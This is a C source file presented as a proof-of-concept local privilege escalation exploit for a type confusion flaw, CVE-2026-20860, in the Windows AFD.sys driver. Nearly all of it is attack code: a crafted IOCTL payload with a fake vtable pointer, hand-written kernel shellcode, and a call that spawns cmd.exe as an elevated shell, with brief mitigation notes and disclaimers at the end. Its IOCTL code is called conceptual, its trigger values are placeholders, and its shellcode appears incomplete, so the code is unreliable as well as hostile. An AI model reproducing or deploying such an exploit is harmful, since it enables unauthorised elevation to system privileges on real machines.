// CVE-2026-20860 PoC - Type Confusion in Windows AFD.sys
// This is a conceptual PoC for educational purposes only
// Author: Security Researcher
// Target: Windows Ancillary Function Driver for WinSock
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
// Define AFD device name
#define AFD_DEVICE_NAME "\\\\.\\Global\\GLOBAL\\AFD"
// Malicious IOCTL code (conceptual)
#define IOCTL_AFD_TYPE_CONFUSION 0x12003B
// Malicious data structure to trigger type confusion
typedef struct _AFD_TYPE_CONFUSION_PAYLOAD {
ULONG_PTR magic_value; // Magic value to trigger vulnerability
ULONG_PTR object_type; // Target object type
ULONG_PTR fake_vtable; // Fake vtable pointer
ULONG_PTR shellcode_addr; // Shellcode address
UCHAR padding[0x100]; // Padding for memory layout
} AFD_TYPE_CONFUSION_PAYLOAD, *PAFD_TYPE_CONFUSION_PAYLOAD;
// Shellcode for privilege escalation
unsigned char shellcode[] = {
0x48, 0x31, 0xC0, // xor rax, rax
0x65, 0x48, 0x8B, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:188h]
0x4C, 0x8B, 0x42, 0x70, // mov r8, [rdx+70h] - EPROCESS offset
0x4D, 0x8B, 0x88, 0x80, 0x02, 0x00, 0x00, // mov r9, [r8+280h] - ActiveProcessLinks
0x49, 0x8B, 0x09, // mov rcx, [r9]
0x48, 0x8B, 0x51, 0x50, // mov rdx, [rcx+50h]
0x48, 0x8B, 0x82, 0x80, 0x02, 0x00, 0x00, // mov rax, [rdx+280h]
0xC3 // ret
};
int main() {
HANDLE hDevice;
DWORD bytesReturned;
AFD_TYPE_CONFUSION_PAYLOAD payload;
printf("[*] CVE-2026-20860 PoC - AFD.sys Type Confusion\n");
printf("[*] Target: Windows Ancillary Function Driver\n");
// Initialize payload
memset(&payload, 0, sizeof(payload));
payload.magic_value = 0xDEADBEEF;
payload.object_type = 0x12345678;
payload.fake_vtable = (ULONG_PTR)shellcode;
// Open AFD device
hDevice = CreateFileA(
AFD_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open AFD device: %d\n", GetLastError());
return -1;
}
printf("[+] AFD device opened successfully\n");
// Send malicious IOCTL to trigger type confusion
BOOL result = DeviceIoControl(
hDevice,
IOCTL_AFD_TYPE_CONFUSION,
&payload,
sizeof(payload),
&payload,
sizeof(payload),
&bytesReturned,
NULL
);
if (result) {
printf("[+] Type confusion triggered successfully\n");
printf("[*] Spawning elevated shell...\n");
system("cmd.exe");
} else {
printf("[-] IOCTL call failed: %d\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}
/*
* Mitigation:
* 1. Apply Microsoft security patches for CVE-2026-20860
* 2. Enable Windows Defender or other endpoint protection
* 3. Restrict local administrative privileges
* 4. Monitor for suspicious AFD.sys IOCTL operations
*
* Note: This PoC is for educational and research purposes only.
*/